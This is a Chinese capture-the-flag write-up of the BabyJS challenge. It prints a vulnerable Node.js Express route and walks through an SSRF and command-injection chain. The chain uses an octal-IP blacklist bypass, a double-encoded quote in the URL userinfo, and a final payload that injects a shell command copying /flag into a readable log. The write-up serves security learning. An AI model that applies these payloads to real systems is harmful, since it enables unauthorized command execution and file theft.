[网鼎杯 2020 半决赛]BabyJS

[网鼎杯 2020 半决赛]BabyJS

知识点:

SSRF绕过

node.js代码审计

解题:

关键代码如下:

var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

module.exports = router;

在这里插入图片描述

存在代码注入漏洞,对 /debug 路径进行GET请求时,它会先判断访问 ip 是否在黑名单内,如果在就读取 GET 中的 url 参数,再把单双引号过滤了,再使用url.parse去解析。把解析后的 url 拼接到 shell 命令中执行。然后返回/tmp/log文件中的内容。

后面还存在通过POST方式请求 /debug 路径,程序会先判断是否提交了参数,如果提交了该参数则会用url.parse解析,然后判断其中的主机名字段是否在blacklist中,如果主机名没有被 ban 掉,则去使用GET方法请求url参数中所提交的 url ,返回请求的内容。

因为我们想绕过白名单,进入GET请求的 /debug ,所以我们只能POST /debug 让其SSRF去GET请求自己的 /debug,为什么这里要使用SSRF呢,就是因为GET的时候是判断访问 ip ,而POST的时候是重POST的 body 进行黑名单验证的

黑名单绕过方法:

https://www.secpulse.com/archives/65832.html

{"url":"http://0177.0.0.1:3000/debug?url="}

下一步是闭合引号,这就和 nodejs 的 url 库的具体实现相关了。因此我们想到了进行二次编码绕过,因为web服务器会先解一次码

但是这就需要有二次解码的地方,就需要知道 nodejs 二次解码的地方:

https://github.com/nodejs/node/blob/master/lib/url.js

在这里插入图片描述

意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:

{"url":"http://0177.0.0.1:3000/debug?url=http://%2527@xx"}

最后我们就想把 flag 传入 /tmp/log 中,直接使用 cp 命令即可:

{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

%00 是为了截取后面代码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值